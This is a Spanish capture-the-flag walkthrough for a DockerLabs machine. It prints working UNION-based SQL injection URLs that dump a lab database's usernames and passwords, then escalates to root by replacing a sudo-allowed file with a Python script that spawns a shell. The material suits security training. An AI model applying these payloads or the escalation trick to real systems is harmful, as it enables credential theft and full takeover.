Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos un escaneo de la dirección IP y podemos observar que obtuvimos 2 puertos.
Al dirigirnos a la página web podemos observar que es una de búsqueda de usuarios.
Probamos ingresando un usuario y obtenemos el resultado de y nos brinda un password, que tendremos en cuenta.
En el URL podemos observar la consulta.
Probando consulta podemos observar que identificamos que hay 3 columnas.
Realizamos una consulta usando union
y podemos observar que cambio el resultado.
http://172.22.0.2/?user=admin%27%20union%20%20select%201,2,3--%20-
Probando más consultas, observamos que podemos ver resultados tanto de la columna 2 y 3, también identificamos que el nombre de la base de datos se llama testdb
.
http://172.22.0.2/?user=admin%27%20union%20%20select%201,database(),database()--%20-
Revisamos si hay más bases de datos
http://172.22.0.2/?user=admin%27%20union%20select%201,2,schema_name%20from%20information_schema.schemata--%20-
Realizamos la consulta concatenando datos para ver los nombres de las bases de datos y podemos observar que tenemos 2 bases de datos information_schema
y testdb
.
http://172.22.0.2/?user=admin%27%20union%20select%201,2,%20group_concat(schema_name)%20from%20information_schema.schemata--%20-
Como sabemos el nombre de la base de datos, probamos buscando usuario y encontramos 3 admin
, user1
, kvzlx
http://172.22.0.2/?user=admin%27%20union%20select%201,2,%20group_concat(username)%20from%20users--%20-
Ya que tenemos usuario probamos buscando por password y también obtenemos resultados adminpassword
, user1password
, kvzlxpassword
.
http://172.22.0.2/?user=admin%27%20union%20select%201,2,%20group_concat(password)%20from%20users--%20-
Así también podríamos concatenar el usuario y password
http://172.22.0.2/?user=admin%27%20union%20select%201,2,%20group_concat(username,%27:%27,password)%20from%20users--%20-
Con ello tendríamos las siguientes credenciales
admin:adminpassword
user1:user1password
kvzlx:kvzlxpassword
Probamos las distintas credenciales que obtuvimos y podemos observar el único usuario válido es kvzlx
.
Realizamos un sudo -l
y podemos observar que podemos acceder a root por medio de un archivo en la carpeta de usuario.
Listamos los archivos y podemos observar que tenemos 2 archivos.
Observamos los permisos y ambos pertenecen a root.
Revisamos los permisos y podemos observar que aparte de leerlos lo podemos eliminar porque están en nuestra carpeta de usuario. Así que podemos borrarlo.
Creamos un archivo que nos genere una consola con permisos de root y le damos permisos de ejecución.
import os;
os.system("/bin/sh")
Ejecutamos el comando y podemos observar que obtuvimos root. De esta manera culminando la máquina.